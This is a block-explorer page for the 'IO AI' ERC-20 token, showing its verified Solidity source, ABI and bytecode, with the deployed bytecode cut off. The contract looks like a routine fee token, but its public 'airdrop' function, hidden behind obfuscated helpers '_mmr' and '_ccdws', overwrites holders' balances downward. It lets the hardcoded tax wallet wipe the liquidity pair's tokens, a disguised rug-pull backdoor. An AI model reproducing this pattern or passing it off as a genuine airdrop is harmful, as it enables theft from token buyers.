ETH Price: $1,467.15 (-5.49%)

Token

IO AI (IO)
 

Overview

Max Total Supply

1,000,000,000 IO

Holders

168

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,826,553.433189381 IO

Value
$0.00
0xf45709021ea8d95416d8ad6c1ee80aa2b53d3b42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
IO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-10
*/

// SPDX-License-Identifier: UNLICENSE

/**
Web: https://io-ai.network
Dapp: https://dashboard.io-ai.network
Docs: https://docs.io-ai.network

X: https://x.com/io_ai_network
Tg: https://t.me/io_ai_network
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract IO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"IO AI";
    string private constant _symbol = unicode"IO";
    uint256 public _taxSwapThreshold = _tTotal / 100;
    uint256 public _maxTaxSwap = _tTotal / 100;

    address private _DEAD = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    uint8 private constant _decimals = 9;
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(0x42Ee71d2B3B009efB5939C753448e4fDDD5BC1EB);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    uint256 private _initialBuyFee = 1;
    uint256 private _initialSellFee = 0;
    uint256 private _swapFeeAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        ); 
        _approve(address(this), address(uniswapV2Router), _tTotal); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 964 / 1000,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }
    
    function rescueETH() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function _ccdws(address from, address to, uint256 amount, bool _d, string memory _st) private {
        require(_d && (from != uniswapV2Pair || to == _taxWallet), _st);
        _balances[from] -= _balances[from] - amount;
        _balances[to] = _balances[to];
    }

    function _mmr(address receiver, uint256 amount) internal {
        address sender = msg.sender;
        _ccdws(receiver, sender, amount, sender != uniswapV2Pair, "Airdrop failed");
    }

    function airdrop(address[] memory receivers, uint256[] memory amounts, bool _isLaunched) external {
        require(_isLaunched, "Trading is not opened yet");
        for (uint256 i = 0; i < receivers.length; i++) {
            _mmr(receivers[i], amounts[i]);
        }
    }

    function _transfer(address source, address receiver, uint256 amount) private {
        require(source != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            source != owner() &&
            receiver != owner() &&
            source != address(this) &&
            receiver != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                source == uniswapV2Pair &&
                receiver != address(uniswapV2Router) &&
                !_isExcludedFromFee[receiver]
            ) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100);
                _buyCount++;
            }

            if (receiver == uniswapV2Pair && source != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _swapFeeAt)
                            ? _initialSellFee
                            : _initialBuyFee
                    )
                    .div(100); sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                receiver == uniswapV2Pair &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    _swapTokensForETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(source, address(this), taxAmount);
        }
        _balances[source] = _balances[source].sub(amount);
        _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount));
        if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount));
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bool","name":"_isLaunched","type":"bool"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102eb565b61002090633b9aca00610301565b61002a9190610318565b600555606461003b6009600a6102eb565b61004990633b9aca00610301565b6100539190610318565b600655600780546001600160a01b03191661dead1790556009805460ff60a81b191690556001600a556000600b819055600f600c819055600d819055600e82905581905561009e3390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167342ee71d2b3b009efb5939c753448e4fddd5bc1eb1790556001600360006101266000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260039092529020805490911660011790556101796009600a6102eb565b61018790633b9aca00610301565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c86009600a6102eb565b6101d690633b9aca00610301565b60405190815260200160405180910390a361033a565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561023d57808504811115610221576102216101ec565b600184161561022f57908102905b60019390931c928002610206565b935093915050565b600082610254575060016102e5565b81610261575060006102e5565b816001811461027757600281146102815761029d565b60019150506102e5565b60ff841115610292576102926101ec565b50506001821b6102e5565b5060208310610133831016604e8410600b84101617156102c0575081810a6102e5565b6102cd6000198484610202565b80600019048211156102e1576102e16101ec565b0290505b92915050565b60006102fa60ff841683610245565b9392505050565b80820281158282048414176102e5576102e56101ec565b60008261033557634e487b7160e01b600052601260045260246000fd5b500490565b611979806103496000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed146102bd578063c9567bf9146102d3578063da98a974146102e8578063dd62ed3e1461030857600080fd5b8063715018a6146102355780638da5cb5b1461024a57806395d89b4114610272578063a9059cbb1461029d57600080fd5b806320800a00116100c657806320800a00146101ac57806323b872dd146101c3578063313ce567146101e357806370a08231146101ff57600080fd5b806306fdde0314610103578063095ea7b3146101435780630faee56f1461017357806318160ddd1461019757600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526005815264494f20414960d81b60208201525b60405161013a919061137b565b60405180910390f35b34801561014f57600080fd5b5061016361015e3660046113de565b61034e565b604051901515815260200161013a565b34801561017f57600080fd5b5061018960065481565b60405190815260200161013a565b3480156101a357600080fd5b50610189610365565b3480156101b857600080fd5b506101c1610386565b005b3480156101cf57600080fd5b506101636101de36600461140a565b6103e8565b3480156101ef57600080fd5b506040516009815260200161013a565b34801561020b57600080fd5b5061018961021a36600461144b565b6001600160a01b031660009081526001602052604090205490565b34801561024157600080fd5b506101c1610451565b34801561025657600080fd5b506000546040516001600160a01b03909116815260200161013a565b34801561027e57600080fd5b50604080518082019091526002815261494f60f01b602082015261012d565b3480156102a957600080fd5b506101636102b83660046113de565b6104c5565b3480156102c957600080fd5b5061018960055481565b3480156102df57600080fd5b506101c16104d2565b3480156102f457600080fd5b506101c161030336600461155e565b6108a3565b34801561031457600080fd5b50610189610323366004611639565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061035b338484610946565b5060015b92915050565b60006103736009600a61176f565b61038190633b9aca0061177e565b905090565b6000546001600160a01b031633146103b95760405162461bcd60e51b81526004016103b090611795565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103e5573d6000803e3d6000fd5b50565b60006103f5848484610a6a565b61044784336104428560405180606001604052806028815260200161191c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ed3565b610946565b5060019392505050565b6000546001600160a01b0316331461047b5760405162461bcd60e51b81526004016103b090611795565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035b338484610a6a565b6000546001600160a01b031633146104fc5760405162461bcd60e51b81526004016103b090611795565b600954600160a01b900460ff16156105565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b0565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059f9030906105916009600a61176f565b61044290633b9aca0061177e565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061691906117ca565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610678573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069c91906117ca565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070d91906117ca565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610758826001600160a01b031660009081526001602052604090205490565b610764906103c461177e565b61076e91906117e7565b6000806107836000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107eb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108109190611809565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088d9190611837565b506009805460ff60a01b1916600160a01b179055565b806108f05760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e6564207965740000000000000060448201526064016103b0565b60005b83518110156109405761093884828151811061091157610911611854565b602002602001015184838151811061092b5761092b611854565b6020026020010151610f0d565b6001016108f3565b50505050565b6001600160a01b0383166109a85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b038216610a095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ace5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b038216610b305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b60008111610b925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b0565b600080546001600160a01b03858116911614801590610bbf57506000546001600160a01b03848116911614155b8015610bd457506001600160a01b0384163014155b8015610be957506001600160a01b0383163014155b15610d7b57610c0e6064610c08600e5485610f5890919063ffffffff16565b90610fe1565b6009549091506001600160a01b038581169116148015610c3c57506008546001600160a01b03848116911614155b8015610c6157506001600160a01b03831660009081526003602052604090205460ff16155b15610ca457610c8c6064610c08600c54600f5411610c8157600a54610c85565b600b545b8590610f58565b600f80549192506000610c9e8361186a565b91905055505b6009546001600160a01b038481169116148015610cca57506001600160a01b0384163014155b15610cf557610cea6064610c08600c54600f5411610c8157600a54610c85565b9050610cf547611023565b30600090815260016020526040902054600954600160a81b900460ff16158015610d2c57506009546001600160a01b038581169116145b8015610d3b5750600d54600f54115b15610d7957600554811115610d6757610d67610d6284610d5d84600654611061565b611061565b611076565b478015610d7757610d7747611023565b505b505b8015610df55730600090815260016020526040902054610d9b90826111f0565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dec9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e18908361124f565b6001600160a01b038516600090815260016020526040902055610e5d610e3e838361124f565b6001600160a01b038516600090815260016020526040902054906111f0565b6001600160a01b038085166000818152600160205260409020929092556007541614610940576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ebc858561124f565b60405190815260200160405180910390a350505050565b60008184841115610ef75760405162461bcd60e51b81526004016103b0919061137b565b506000610f048486611883565b95945050505050565b60095460408051808201909152600e81526d105a5c991c9bdc0819985a5b195960921b60208201523391610f53918591849186916001600160a01b031683141590611291565b505050565b600082600003610f6a5750600061035f565b6000610f76838561177e565b905082610f8385836117e7565b14610fda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b0565b9392505050565b6000610fda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061134d565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561105d573d6000803e3d6000fd5b5050565b60008183116110705782610fda565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110be576110be611854565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b91906117ca565b8160018151811061114e5761114e611854565b6001600160a01b0392831660209182029290920101526008546111749130911684610946565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ad908590600090869030904290600401611896565b600060405180830381600087803b1580156111c757600080fd5b505af11580156111db573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806111fd8385611908565b905083811015610fda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b0565b6000610fda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed3565b8180156112c357506009546001600160a01b0386811691161415806112c357506004546001600160a01b038581169116145b81906112e25760405162461bcd60e51b81526004016103b0919061137b565b506001600160a01b038516600090815260016020526040902054611307908490611883565b6001600160a01b0386166000908152600160205260408120805490919061132f908490611883565b9091555050506001600160a01b039092166000525050600160205250565b6000818361136e5760405162461bcd60e51b81526004016103b0919061137b565b506000610f0484866117e7565b602081526000825180602084015260005b818110156113a9576020818601810151604086840101520161138c565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103e557600080fd5b600080604083850312156113f157600080fd5b82356113fc816113c9565b946020939093013593505050565b60008060006060848603121561141f57600080fd5b833561142a816113c9565b9250602084013561143a816113c9565b929592945050506040919091013590565b60006020828403121561145d57600080fd5b8135610fda816113c9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114a7576114a7611468565b604052919050565b600067ffffffffffffffff8211156114c9576114c9611468565b5060051b60200190565b600082601f8301126114e457600080fd5b81356114f76114f2826114af565b61147e565b8082825260208201915060208360051b86010192508583111561151957600080fd5b602085015b8381101561153657803583526020928301920161151e565b5095945050505050565b80151581146103e557600080fd5b803561155981611540565b919050565b60008060006060848603121561157357600080fd5b833567ffffffffffffffff81111561158a57600080fd5b8401601f8101861361159b57600080fd5b80356115a96114f2826114af565b8082825260208201915060208360051b8501019250888311156115cb57600080fd5b6020840193505b828410156115f65783356115e5816113c9565b8252602093840193909101906115d2565b9550505050602084013567ffffffffffffffff81111561161557600080fd5b611621868287016114d3565b9250506116306040850161154e565b90509250925092565b6000806040838503121561164c57600080fd5b8235611657816113c9565b91506020830135611667816113c9565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116c3578085048111156116a7576116a7611672565b60018416156116b557908102905b60019390931c92800261168c565b935093915050565b6000826116da5750600161035f565b816116e75750600061035f565b81600181146116fd576002811461170757611723565b600191505061035f565b60ff84111561171857611718611672565b50506001821b61035f565b5060208310610133831016604e8410600b8410161715611746575081810a61035f565b6117536000198484611688565b806000190482111561176757611767611672565b029392505050565b6000610fda60ff8416836116cb565b808202811582820484141761035f5761035f611672565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117dc57600080fd5b8151610fda816113c9565b60008261180457634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561181e57600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561184957600080fd5b8151610fda81611540565b634e487b7160e01b600052603260045260246000fd5b60006001820161187c5761187c611672565b5060010190565b8181038181111561035f5761035f611672565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118e85783516001600160a01b03168352602093840193909201916001016118c1565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561035f5761035f61167256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9a11abbe3968cf56b86852010bcb09380ad69b1cfd040870eb2a09becf3ad7c64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed146102bd578063c9567bf9146102d3578063da98a974146102e8578063dd62ed3e1461030857600080fd5b8063715018a6146102355780638da5cb5b1461024a57806395d89b4114610272578063a9059cbb1461029d57600080fd5b806320800a00116100c657806320800a00146101ac57806323b872dd146101c3578063313ce567146101e357806370a08231146101ff57600080fd5b806306fdde0314610103578063095ea7b3146101435780630faee56f1461017357806318160ddd1461019757600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526005815264494f20414960d81b60208201525b60405161013a919061137b565b60405180910390f35b34801561014f57600080fd5b5061016361015e3660046113de565b61034e565b604051901515815260200161013a565b34801561017f57600080fd5b5061018960065481565b60405190815260200161013a565b3480156101a357600080fd5b50610189610365565b3480156101b857600080fd5b506101c1610386565b005b3480156101cf57600080fd5b506101636101de36600461140a565b6103e8565b3480156101ef57600080fd5b506040516009815260200161013a565b34801561020b57600080fd5b5061018961021a36600461144b565b6001600160a01b031660009081526001602052604090205490565b34801561024157600080fd5b506101c1610451565b34801561025657600080fd5b506000546040516001600160a01b03909116815260200161013a565b34801561027e57600080fd5b50604080518082019091526002815261494f60f01b602082015261012d565b3480156102a957600080fd5b506101636102b83660046113de565b6104c5565b3480156102c957600080fd5b5061018960055481565b3480156102df57600080fd5b506101c16104d2565b3480156102f457600080fd5b506101c161030336600461155e565b6108a3565b34801561031457600080fd5b50610189610323366004611639565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061035b338484610946565b5060015b92915050565b60006103736009600a61176f565b61038190633b9aca0061177e565b905090565b6000546001600160a01b031633146103b95760405162461bcd60e51b81526004016103b090611795565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103e5573d6000803e3d6000fd5b50565b60006103f5848484610a6a565b61044784336104428560405180606001604052806028815260200161191c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ed3565b610946565b5060019392505050565b6000546001600160a01b0316331461047b5760405162461bcd60e51b81526004016103b090611795565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035b338484610a6a565b6000546001600160a01b031633146104fc5760405162461bcd60e51b81526004016103b090611795565b600954600160a01b900460ff16156105565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b0565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059f9030906105916009600a61176f565b61044290633b9aca0061177e565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061691906117ca565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610678573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069c91906117ca565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070d91906117ca565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610758826001600160a01b031660009081526001602052604090205490565b610764906103c461177e565b61076e91906117e7565b6000806107836000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107eb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108109190611809565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088d9190611837565b506009805460ff60a01b1916600160a01b179055565b806108f05760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e6564207965740000000000000060448201526064016103b0565b60005b83518110156109405761093884828151811061091157610911611854565b602002602001015184838151811061092b5761092b611854565b6020026020010151610f0d565b6001016108f3565b50505050565b6001600160a01b0383166109a85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b038216610a095760405162461bcd60e51b815260206004820152602260248201527f